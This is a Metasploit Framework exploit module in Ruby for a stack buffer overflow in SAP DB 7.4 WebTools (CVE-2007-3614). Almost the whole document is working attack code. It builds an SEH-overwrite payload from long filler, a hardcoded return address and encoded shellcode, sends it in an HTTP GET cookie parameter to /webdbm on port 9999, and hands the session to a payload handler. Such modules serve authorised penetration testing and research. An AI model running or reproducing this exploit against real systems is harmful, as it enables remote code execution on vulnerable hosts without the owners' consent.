SAP DB 7.4 – WebTools Buffer Overflow (Metasploit)
## # $Id: sapdb_webtools.rb 9842 2010-07-16 02:33:25Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking HttpFingerprint = { :pattern => [ /SAP-Internet-SapDb-Server\// ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'SAP DB 7.4 WebTools Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in SAP DB 7.4 WebTools. By sending an overly long GET request, it may be possible for an attacker to execute arbitrary code. }, 'Author' => [ 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9842 $', 'References' => [ [ 'CVE', '2007-3614' ], [ 'OSVDB', '37838' ], [ 'BID', '24773' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 850, 'BadChars' => "\x00", 'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ [ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0 ], 'DisclosureDate' => 'Jul 5 2007', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(9999) ], self.class ) end def exploit filler = rand_text_alphanumeric(20774) seh = generate_seh_payload(target.ret) sploit = filler + seh + rand_text_alphanumeric(3000) print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret) res = send_request_raw( { 'uri' => '/webdbm', 'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit }, 5) handler end end |